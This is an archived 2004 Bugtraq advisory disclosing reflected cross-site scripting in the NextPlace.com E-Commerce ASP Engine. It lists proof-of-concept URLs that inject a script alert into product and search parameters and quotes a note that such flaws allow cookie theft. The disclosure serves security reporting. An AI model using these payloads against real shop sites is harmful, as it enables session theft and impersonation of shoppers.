NextPlace.com E-Commerce ASP Engine

From: Rafel Ivgi, The-Insider (theinsider_at_012.net.il)
Date: 01/24/04

  • Next message: Qianwei Hu: "Serv-U ftp 4.2 site chmod long_file_name exploit"
    To: "bugtraq" <bugtraq@securityfocus.com>
    Date: Sat, 24 Jan 2004 23:56:24 +0200
    
    

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Software: NextPlace.com E-Commerce ASP Engine
    Vendor: http://www.nextplace.com/
    Versions: Single version was created
    Bug: Cross Site Scripting
    Risk: Medium ( E-Commerce makes this irregular)
    Exploitation: Remote with browser
    Date: 24 Jan 2004
    Author: Rafel Ivgi, The-Insider
    E-Mail: the_insider@mail.com
    Web: http://theinsider.deep-ice.com

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    1) Introduction
    2) Bug
    3) The Code

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ===============
    1) Introduction
    ===============

    NextPlace.com is E-Commerce service provider.
    E-Commerce ASP Engine this cannot have risks such as Cross Site Scripting.
    It is Ridiculous that i discovered this because each one of this site is
    under the
    protection of many security companies and are marked as "safe".
    Any attacker can fake messages, and betray the trust of all the people who
    belive that links involved with this website are safe.

    *** The Vulnerabillity described in this advisory effects all NextPlace's
    Clients :http://www.nextplace.com/clients.asp ***
    This means <host> = anyone of NextPlace clients.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ======
    2) Bug
    ======

    The Vulnerabillity is Cross Site Scripting.
    If an attacker will request the one following urls from the server:

    Examples:
    1.
    http://>/productdetail.asp?level=aaaaaaaaaaaaaaaa&catid=52&productid=24
    8

    2.
    http://>/productdetail.asp?level="><script>alert('XSS')</script>&catid=
    52&productid=248

    3. http://>/ListCategories.asp?level=58&catid=AAAAAAAAAAAAAAAAAA

    4.
    http://>/searchresults.asp?searchKey="><script>alert('XSS')</script> -
    Go Back To see XSS

    5. Goto "http://>/searchresults.asp" Search for
    ["><script>alert('XSS')</script>] - XSS
    XSS appears and the server allows an attacker to inject & execute scripts.

    In the words of securityfocus.com :
    ~~~~~~~~~~~~~~~~~~~~~~~~~~

    If all of these circumstances are met, an attacker may be able to exploit
    this issue
    via a malicious link containing arbitrary HTML and script code as part of
    the hostname.
    When the malicious link is clicked by an unsuspecting user, the
    attacker-supplied HTML
    and script code will be executed by their web client. This will occur
    because the server
    will echo back the malicious hostname supplied in the client's request,
    without sufficiently
    escaping HTML and script code.

    Attacks of this nature may make it possible for attackers to manipulate web
    content or to
    steal cookie-based authentication credentials. It may be possible to take
    arbitrary actions as the victim user.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ===========
    3) The Code
    ===========

    1.
    http://>/productdetail.asp?level=aaaaaaaaaaaaaaaa&catid=52&productid=24
    8

    2.
    http://>/productdetail.asp?level="><script>alert('XSS')</script>&catid=
    52&productid=248

    3. http://>/ListCategories.asp?level=58&catid=AAAAAAAAAAAAAAAAAA

    4.
    http://>/searchresults.asp?searchKey="><script>alert('XSS')</script> -
    Go Back To see XSS

    5. Goto "searchresults.asp" Search for ["><script>alert('XSS')</script>] -
    XSS
    XSS appears and the server allows an attacker to inject & execute scripts.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ---
    Rafel Ivgi, The-Insider
    http://theinsider.deep-ice.com
    "Things that are unlikeable, are NOT impossible."
    

  • Next message: Qianwei Hu: "Serv-U ftp 4.2 site chmod long_file_name exploit"

    Relevant Pages

    • Re: Restrict server access
      ... have carefully checked the spam headers to verify that they originated ... on your server and are not forgeries or relays. ... the attacker may have a script which hides itself ...
      (Debian-User)
    • Re: cross site scripint and post form
      ... cross site scripint and post form ... Its easier with the GET method because, as you have noticed, the attacker ... script tags out of the input with your client code -The attacker can still ...
      (Security-Basics)
    • Re: Strange Attack On A Webserver I Work On
      ... My guess is that this guy definitely was a script kiddie. ... If you Google for the e-mail addresses that appear in the flooder ... >> The attacker replaced all ...
      (Focus-Linux)
    • Re: How to retreive the URL of the chosen (but non-exsisting) page after redirect?
      ... What is XSS? ... cunning attacker can form a query string which will print a string to ... the server? ...
      (comp.lang.javascript)
    • Re: Restrict server access
      ... have carefully checked the spam headers to verify that they originated ... on your server and are not forgeries or relays. ... the attacker may have a script which hides itself ...
      (Debian-User)